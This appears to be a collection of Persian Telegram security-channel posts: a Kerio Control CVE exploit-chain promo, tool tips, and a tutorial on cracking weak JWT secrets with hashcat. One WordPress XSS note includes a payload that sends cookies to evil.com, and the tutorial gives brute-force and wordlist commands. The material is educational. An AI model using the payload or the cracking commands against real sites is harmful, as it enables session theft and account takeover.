برسی CVE-2024-52875 – Kerio Control از CRLF Injection تا 1-Click RCE!

سلام به همه‌ی دوستان عزیز و علاقه‌مندان به دنیای امنیت سایبری!

به اپیزود ۴۹ از برنامه هفتگی GO-TO CVE خوش اومدین! 🌐🚨
این هفته سراغ یکی از جالب ترین exploit chain رفتیم؛ جایی که با یک کلیک ساده میشه به سطح دسترسی root روی فایروال Kerio Control رسید! 😳👇(نسخه های 9.2.5 تا 9.4.5 تاثیر میگذارد).

🔹 Week: 49
🔹 CVE: CVE-2024-52875
🔹 Type: CRLF Injection ➜ Response Splitting ➜ Reflected XSS ➜ Cookie Theft ➜ CSRF Abuse ➜ 1-Click RCE
🔹 Target: Kerio Control 🔥

https://t.me/GOTOCVE

📬 عضو کانال شو و هر هفته یه باگ خفن رو کامل یاد بگیر!

#week_49

CVE-2025-46234:
آسیب پذیری Reflected XSS در افزونه وردپرس Razib Control Listings. مهاجم با لینک مخرب ، مثل

example.com/listings?query=<script>alert('Hacked')</script>

کد جاوااسکریپت اجرا می‌کنه و می‌تونه کوکی بدزده و ...


http://example.com/listings?query=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

عالی بود آقا لذت بردم
(تایمش زیاده ولی واقعا صحبت هاشون عالی بود)

https://youtu.be/msjLfaRy1ks?si=l_G7oezLE1EXC1PC

آقا عجب چیز حقی داره میشه

ابزار Watt Admin هم جالبه باهاش می‌تونین سرویس های Node.js رو گرافیکی مانیتور کنید

blog.platformatic.dev/introducing-watt-admin


@Linuxor

امروز گفتم notebooklm رو امتحان کنم
یه پادکست برام ساخت
خیلی خفننن شد

CVE-2025-1094
*
RCE SQL Injection in PostgreSQL 14.15
*
exploit

با کلاینت beekeeper studio می‌تونید دیتابیس های خودتون رو مدیریت کنید، اکثر دیتابیس هارو ساپورت می‌کنه توی ورژن های بعدی هم قراره Redis و Snowflake رو ساپورت کنه :

github.com/beekeeper-studio/beekeeper-studio

@Linuxor

🎯 کرک سیکرت توکن‌های JWT با استفاده از hashcat

🔐 توکن JWT یا JSON Web Token یک استاندارد رایج برای انتقال اطلاعات بین کلاینت و سرور به صورت امن و رمزگذاری شده است.
یک توکن JWT از سه بخش تشکیل می‌شود:

<header>.<payload>.<signature>

امنیت این توکن به کلید مخفی‌‌ای (Secret) که برای تولید امضا استفاده می‌شود وابسته است و در صورتی که سیکرت استفاده شده ضعیف باشد به راحتی توسط ابزار‌هایی مانند hashcat می‌توان آن را کرک کرد.

🔓 ‏ hashcat ابزاری برای کرک کردن و بازیابی پسورد (Password Recovery) می‌باشد. این ابزار امکان حملات مختلف نظیر بروت فورس و دیکشنری را فراهم کرده و همچنین امکان تسریع این پروسه با GPU نیز وجود دارد. این ابزار به دلیل توانایی شکستن انواع الگوریتم‌ها مانند bcrypt، SHA1 و MD5 به یکی ابزار‌های محبوب برای کارشناسان امنیت تبدیل شده است. همچنین قابلیت تنظیم پروفایل‌های مختلف برای سطوح مختلف پردازشی این امکان را فراهم می‌کند تا بتوان بین عملکرد و مصرف منابع تعادل ایجاد کرد.

در JWT عمدتا از الگوریتم HS256 برای رمزنگاری استفاده می‌شود:

{"alg": "HS256", "typ": "JWT"}

این یک نمونه از سربرگ (Header) استفاده شده برای یک توکن JWT می‌باشد.
در بخش پی‌لود نیز مقادیر مورد نیاز درج می‌شود:

{"user": "admin", "name": "John Doe", "isAdmin": True}

در نهایت توکن تولید شده با مقادیر بالا به شکل زیر است:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuYW1lIjoiSm9obiBEb2UiLCJpc0FkbWluIjp0cnVlfQ.2GIQULwOog_vwCsOjmeVXsRH03AW6E2BpcwOGXiaRO8

‏
🔑 نحوه شکستن توکن با hashcat
به دو روش امکان شکستن وجود دارد:
1- بروت فورس مستقیم
2- با استفاده از wordlist یا دیکشنری

در روش اول اگر الگوی استفاده شده برای سیکرت مشخص باشد و صرفا نیاز به بررسی حالت‌های مختلف وجود داشته باشد می‌توان از کامند زیر استفاده کرد:

hashcat -m 16500 -a 3 <jwt> ?d?d?d

در این حالت <jwt> به مسیر فایل دارای توکن اشاره دارد. d? به معنای این است که کاراکتر ست استفاده شده از اعداد باشد و در نهایت hashcat تمام حالت‌های متشکل از سه رقم را بررسی می‌کند.
- پارامتر m- نوع الگوریتم جهت کرک را مشخص می‌کند که در hashcat از کد 16500 برای JWT استفاده می‌شود.
- پارامتر a- نیز برای تعیین نوع حمله استفاده می‌شود که در اینجا عدد 3 به منظور بروت فورس استفاده می‌شود.
کاراکتر ست‌ها و تعداد آن نیز قابل تنظیم است.
برای مثال اگر بدانیم که سیکرت به ترتیب از دو کاراکتر بزرگ و 3 کاراکتر کوچک و 4 رقم استفاده می‌کند پارامتر hashcat به این شکل تعریف می‌شود:

hashcat -m 16500 -a 3 <jwt> ?u?u?l?l?l?d?d?d?

کاراکتر ست‌های قابل استفاده در hashcat به شرح زیر است:

  l | abcdefghijklmnopqrstuvwxyz [a-z]
  u | ABCDEFGHIJKLMNOPQRSTUVWXYZ [A-Z]
  d | 0123456789                 [0-9]
  h | 0123456789abcdef           [0-9a-f]
  H | 0123456789ABCDEF           [0-9A-F]
  s |  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  a | ?l?u?d?s
  b | 0x00 - 0xff

در روش دوم قابلیت استفاده از دیکشنری یا وردلیست وجود دارد که برای JWT از این وردلیست می‌توانید استفاده کنید:

https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list

برای این نوع حمله:

hashcat -m 16500 -a 0 <jwt> <wordlist>

در این حالت پارامتر a- به میزان 0 تغییر پیدا می‌کند.
همچنین <wordlist> به مسیر فایل دیکشنری اشاره دارد.

وقتی تو‌ مصاحبه ازت میپرسن ۵ سال دیگه خودت رو کجا میبینی